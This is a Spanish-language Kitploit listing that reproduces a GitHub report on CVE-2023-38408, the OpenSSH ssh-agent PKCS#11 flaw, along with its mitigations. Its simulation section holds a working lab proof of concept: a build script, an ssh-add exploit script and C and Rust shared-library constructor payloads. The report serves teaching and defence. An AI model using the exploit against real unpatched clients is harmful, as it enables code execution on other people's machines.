Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2023-38408 — Un análisis en profundidad de CVE 2023 38408, una vulnerabilidad crítica de OpenSSH, que incluye antecedentes técnicos, explotación en entornos controlados y estrategias de mitigación. | Kitploit
Herramientas/GitHubGitHub/adel2411/cve-2023-38408
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed Teaming
GitHubadel2411/cve-2023-38408

cve-2023-38408

Un análisis en profundidad de CVE 2023 38408, una vulnerabilidad crítica de OpenSSH, que incluye antecedentes técnicos, explotación en entornos controlados y estrategias de mitigación.

Ver Repositorio
5hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-38408: Comprendiendo y Simulando una Vulnerabilidad Real de SSH-Agent

Tabla de Contenidos

  1. Introducción
  2. Conceptos Fundamentales
  3. La Vulnerabilidad CVE-2023-38408
  4. Simulación y Pruebas Prácticas
  5. Análisis Técnico
  6. Corrección y Mitigación
  7. Conclusión

1. Introducción

Propósito del Informe

El propósito de este informe es analizar CVE-2023-38408, una vulnerabilidad crítica del mundo real descubierta en OpenSSH, mediante la comprensión teórica y la simulación práctica. El informe explica los fundamentos técnicos de la vulnerabilidad, demuestra cómo puede ser explotada en entornos controlados y examina las medidas de mitigación implementadas.

Importancia de Analizar Vulnerabilidades del Mundo Real

Comprender las vulnerabilidades de seguridad del mundo real a través de la simulación práctica no solo ayuda a proteger los sistemas, sino que también fortalece la conciencia de los desarrolladores y administradores de sistemas sobre posibles vectores de ataque. Analizar dichas vulnerabilidades cierra la brecha entre la teoría y la implementación práctica de la seguridad.

¿Qué es CVE-2023-38408 y Por Qué es Importante

CVE-2023-38408 es una vulnerabilidad que afecta a ssh-agent en OpenSSH cuando el soporte PKCS#11 está habilitado. Permite la ejecución remota de código en una máquina cliente si el usuario se conecta a un servidor comprometido con el reenvío de agente habilitado (ssh -A). Esta vulnerabilidad tiene graves implicaciones para cualquier sistema que dependa de OpenSSH para la autenticación segura.

Detalles de CVEInformación
ID de CVECVE-2023-38408
Puntuación CVSS9.8 (Crítico)
Versiones AfectadasOpenSSH < 9.3p2
Vector de AtaqueRed
Privilegios RequeridosNinguno
Interacción del UsuarioRequerida
ImpactoCompromiso total del sistema

2. Conceptos Fundamentales

2.1 Resumen de SSH

SSH (Secure Shell) es un protocolo de red criptográfico utilizado para la comunicación segura a través de redes no seguras. Proporciona canales cifrados para inicio de sesión remoto, ejecución de comandos, transferencia de archivos y más.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 Qué es ssh-agent

`ssh-agent` es un proceso en segundo plano que almacena tus claves SSH privadas descifradas en la memoria, permitiéndote usarlas sin tener que volver a introducir las frases de contraseña cada vez que te conectas a un sistema remoto.

#### Reenvío del agente (ssh -A)

El reenvío del agente permite que un sistema remoto acceda a tu `ssh-agent` local a través de un socket de dominio Unix. Esto es útil para encadenar conexiones SSH, pero introduce riesgos de seguridad significativos si la máquina remota está comprometida.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

Técnicamente, cuando usas ssh -A, el cliente SSH crea un socket de dominio Unix en el servidor remoto que actúa como un proxy hacia tu ssh-agent local. La variable de entorno SSH_AUTH_SOCK se configura para apuntar a este socket proxy. Cualquier llamada realizada a SSH_AUTH_SOCK en el servidor remoto se reenvía de vuelta a través de la conexión SSH y es procesada por tu ssh-agent local.

2.3 ¿Qué es PKCS#11?

PKCS#11 es una API estándar para interactuar con tokens criptográficos, como tarjetas inteligentes, YubiKeys o módulos de seguridad de hardware virtuales (HSM).

Función PKCS#11PropósitoNivel de Riesgo
C_Initialize()Inicializar la libreríaBajo
C_GetSlotList()Listar slots disponiblesBajo
C_FindObjects()Encontrar objetos criptográficosMedio
C_Sign()Firmar datosAlto
dlopen()Cargar librería compartidaCrítico

Cómo ssh-agent soporta PKCS#11

El ssh-agent de OpenSSH soporta la carga de proveedores PKCS#11 (librerías compartidas .so) mediante el comando ssh-add -s /path/to/provider.so. Estas librerías permiten que el agente interactúe con módulos de hardware o software seguros para usar claves privadas sin exponerlas directamente.

Internamente, cuando se ejecuta ssh-add -s, se realiza lo siguiente:

  • El archivo .so se carga dinámicamente en memoria usando dlopen().
  • El agente resuelve y llama a funciones como C_Initialize(), C_GetSlotList(), C_FindObjects() y C_Sign() a través de la API PKCS#11.
  • El proveedor devuelve metadatos y maneja solicitudes para firmar desafíos de autenticación, manteniendo el material de la clave privada de forma segura dentro del token hardware.

3. La Vulnerabilidad CVE-2023-38408

3.1 Resumen de CVE

AtributoDetalles
IDCVE-2023-38408
SeveridadAlta (CVSS 9.8)
CronologíaDivulgada en julio de 2023, corregida en OpenSSH 9.3p2
Software AfectadoVersiones de OpenSSH anteriores a 9.3p2 con soporte PKCS#11
Complejidad de AtaqueBaja
Vector de AtaqueRed a través de reenvío del agente SSH

3.2 Mecanismo de la Vulnerabilidad

La vulnerabilidad se origina porque ssh-agent carga cualquier archivo de objeto compartido (.so) proporcionado mediante ssh-add -s, sin validar si se trataba de un proveedor PKCS#11 legítimo.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 Análisis del Flujo de Ataque```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

En el nivel más bajo, la secuencia de eventos incluye:

  1. Un sistema remoto envía una solicitud al agente reenviado pidiéndole que ejecute ssh-add -s /path/to/lib.so
  2. El ssh-agent local recibe esta solicitud y ciegamente llama a dlopen("/path/to/lib.so", RTLD_NOW)
  3. Si el archivo .so tiene una función de constructor (__attribute__((constructor))), se ejecuta inmediatamente al cargarse
  4. Este constructor puede contener código malicioso arbitrario que se ejecuta en la máquina cliente

3.4 Escenario de Ataque Real

PasoAcciónImpacto
1El usuario ejecuta ssh -A user@attacker-hostReenvío de agente habilitado
2El atacante prepara malicious.soPayload listo
3El atacante ejecuta ssh-add -s /tmp/malicious.soSolicitud enviada al agente de la víctima
4El agente carga la librería maliciosaSe ejecuta el constructor
5El código malicioso se ejecutaSe logra ejecución remota de código

4. Simulación Práctica y Pruebas

4.1 Configuración del Entorno de Simulación

Para demostrar esta vulnerabilidad en un entorno controlado, se realizó una simulación exhaustiva utilizando múltiples cuentas de usuario y terminales.

Configuración del Entorno

ComponenteConfiguraciónPropósito
Terminal 1Usuario victimCliente SSH (objetivo)
Terminal 2Usuario attackerServidor SSH (atacante)
Claves SSHRSA de 2048 bitsAutenticación sin contraseñas
Archivos de pruebaVarios scripts de shellAutomatización y entrega de payload

Creación de Cuentas de Usuario```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### Configuración de claves SSH para reenvío de agente```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 Scripts de Simulación e Implementación

Script de Conexión de la Víctima (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### Constructor de payload del atacante (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

Script de Explotación (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 Resultados y Análisis de la Simulación

#### Comportamiento Esperado en Sistemas Vulnerables

| **Acción**                | **Respuesta del Sistema Vulnerable**      | **Respuesta del Sistema Parcheado** |
| ------------------------- | ----------------------------------------- | ----------------------------------- |
| `ssh-add -s malicious.so` | La biblioteca se carga, el constructor se ejecuta | `agent refused operation`           |
| Ejecución del payload     | Crea `/tmp/exploit.log`                  | Sin ejecución                       |
| Impacto en el sistema     | Ejecución remota de código               | Sin impacto                         |

#### Salida Real de la Simulación

Al ejecutar la simulación en un sistema parcheado (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

Observación clave: Aunque el agente rechaza la operación en versiones parcheadas, esta simulación demuestra el vector de ataque y ayuda a entender el impacto de la vulnerabilidad en versiones antiguas.

4.4 Análisis de la Construcción del Payload

Biblioteca Maliciosa basada en C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### Alternativa basada en Rust

Usando la crate `ctor` para funciones constructoras:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. Análisis Técnico

5.1 Análisis de Causa Raíz

La vulnerabilidad existe debido a varias decisiones de diseño en la implementación de ssh-agent de OpenSSH:

Problema de DiseñoDescripciónImpacto
Unrestricted dlopen()Sin validación de archivos .soPermite ejecución arbitraria de código
Ejecución de constructorEl código se ejecuta antes de la validación PKCS#11Compromiso inmediato
Confianza en reenvío de agenteSin autenticación para solicitudes reenviadasPosible explotación remota
Soporte PKCS#11 predeterminadoCaracterística habilitada por defectoSuperficie de ataque más amplia

5.2 Análisis de Memoria y Procesos```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 Mapeo de la superficie de ataque

| **Vector de ataque**  | **Requisitos**             | **Nivel de impacto** | **Dificultad de detección** |
| ------------------ | ---------------------------- | ---------------- | ------------------------ |
| Reenvío de agente   | `ssh -A` habilitado             | Crítico         | Baja                      |
| Archivo .so malicioso | Acceso al sistema de archivos           | Crítico         | Media                   |
| Ingeniería social | Interacción del usuario             | Alta             | Alta                     |
| Cadena de suministro       | Proveedor PKCS#11 comprometido | Crítico         | Muy alta                |

---

## 6. Corrección y Mitigación

### 6.1 Cómo se corrigió en OpenSSH 9.3p2

OpenSSH 9.3p2 abordó esta vulnerabilidad introduciendo un comportamiento seguro por defecto:

| **Medida de seguridad** | **Implementación**                  | **Efecto**                        |
| -------------------- | ----------------------------------- | --------------------------------- |
| Deshabilitación por defecto      | Soporte PKCS#11 deshabilitado por defecto | Reduce la superficie de ataque            |
| Habilitación explícita      | Requiere la bandera `-O allow-pkcs11`     | Se requiere consentimiento del usuario             |
| Validación           | Validación mejorada de librerías         | Previene la ejecución de código arbitrario |

#### Cambios de configuración```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 Análisis de Implementación```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 Estrategias integrales de mitigación

#### Acciones inmediatas

| **Prioridad** | **Acción**               | **Implementación**                                        |
| ------------ | ------------------------ | --------------------------------------------------------- |
| Alta         | Actualizar OpenSSH          | `apt update && apt upgrade openssh-client openssh-server` |
| Alta         | Deshabilitar reenvío de agente | `ssh -o ForwardAgent=no`                                  |
| Media       | Auditar configuraciones SSH | Revisar `/etc/ssh/ssh_config`                              |
| Media       | Monitorear uso del agente      | Registrar actividades de ssh-agent                                  |

#### Medidas de seguridad a largo plazo

1. **Endurecimiento de la configuración SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. Segmentación de red ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. Monitoreo y Detección ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 Implementación de Mejores Prácticas

Políticas de Seguridad Organizacionales

Área de PolíticaRequisitoMétodo de Verificación
Uso del Agente SSHAprobación documentada requeridaAuditoría de cumplimiento de políticas
Reenvío de AgenteProhibido a hosts no confiablesMonitoreo de red
Bibliotecas PKCS#11Lista blanca de proveedores aprobadosMonitoreo de integridad de archivos
Gestión de VersionesOpenSSH 9.3p2+ obligatorioEscaneo automatizado de vulnerabilidades

7. Conclusión

7.1 Hallazgos Clave

CVE-2023-38408 demuestra una falla de seguridad crítica que explotó la relación de confianza entre clientes SSH y agentes. A través de la simulación práctica, surgen varios hallazgos clave:

  1. Violaciones del Límite de Confianza: La vulnerabilidad explotó la confianza implícita en las conexiones reenviadas de agentes
  2. Abuso de Constructores: La ejecución de código malicioso a través de constructores de bibliotecas compartidas evitó todos los controles de seguridad
  3. Inseguridad por Defecto: El soporte PKCS#11 habilitado por defecto creó una superficie de ataque innecesaria
  4. Riesgos del Reenvío de Agentes: La conveniencia del reenvío de agentes introdujo graves implicaciones de seguridad

7.2 Evaluación de Impacto

Categoría de ImpactoGravedadDescripción
ConfidencialidadCríticoAcceso completo a los materiales criptográficos del usuario
IntegridadCríticoCapacidad de modificar archivos y configuraciones del sistema
DisponibilidadAltoPotencial de interrupción del sistema o denegación de servicio
AutenticaciónCríticoCompromiso de los mecanismos de autenticación SSH

7.3 Lecciones Aprendidas

Este análisis de vulnerabilidad, mejorado por simulación práctica, proporciona varias lecciones críticas:

  1. Valores Predeterminados Seguros: Las características de seguridad deben estar deshabilitadas por defecto y requerir activación explícita
  2. Validación de Entrada: Todas las entradas externas, incluidos los archivos de bibliotecas, deben validarse rigurosamente
  3. Principio de Mínimo Privilegio: El reenvío de agentes debe restringirse solo a entornos confiables
  4. Defensa en Profundidad: Múltiples capas de seguridad evitan puntos únicos de falla

7.4 Consideraciones Futuras```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 Recomendaciones finales

Basado en el análisis exhaustivo y los resultados de la simulación:

1. **Inmediato**: Actualizar todas las instalaciones de OpenSSH a la versión 9.3p2 o superior
2. **Corto plazo**: Implementar políticas estrictas de reenvío de agente y monitoreo
3. **Largo plazo**: Adoptar arquitectura de red de confianza cero y autenticación basada en certificados
4. **Continuo**: Mantener programas de educación en seguridad y evaluación de vulnerabilidades de forma continua

**Conclusión clave**: CVE-2023-38408 sirve como un poderoso recordatorio de que las funciones de conveniencia como el reenvío de agente pueden convertirse en vulnerabilidades críticas de seguridad cuando no se implementan correctamente. La combinación de comprensión teórica y simulación práctica proporciona la base para construir defensas sólidas contra ataques similares en el futuro.

A través de este análisis exhaustivo, los profesionales de la seguridad pueden comprender mejor las intrincadas relaciones entre los componentes de SSH e implementar las salvaguardas adecuadas para proteger su infraestructura de vulnerabilidades similares.
Descargar herramienta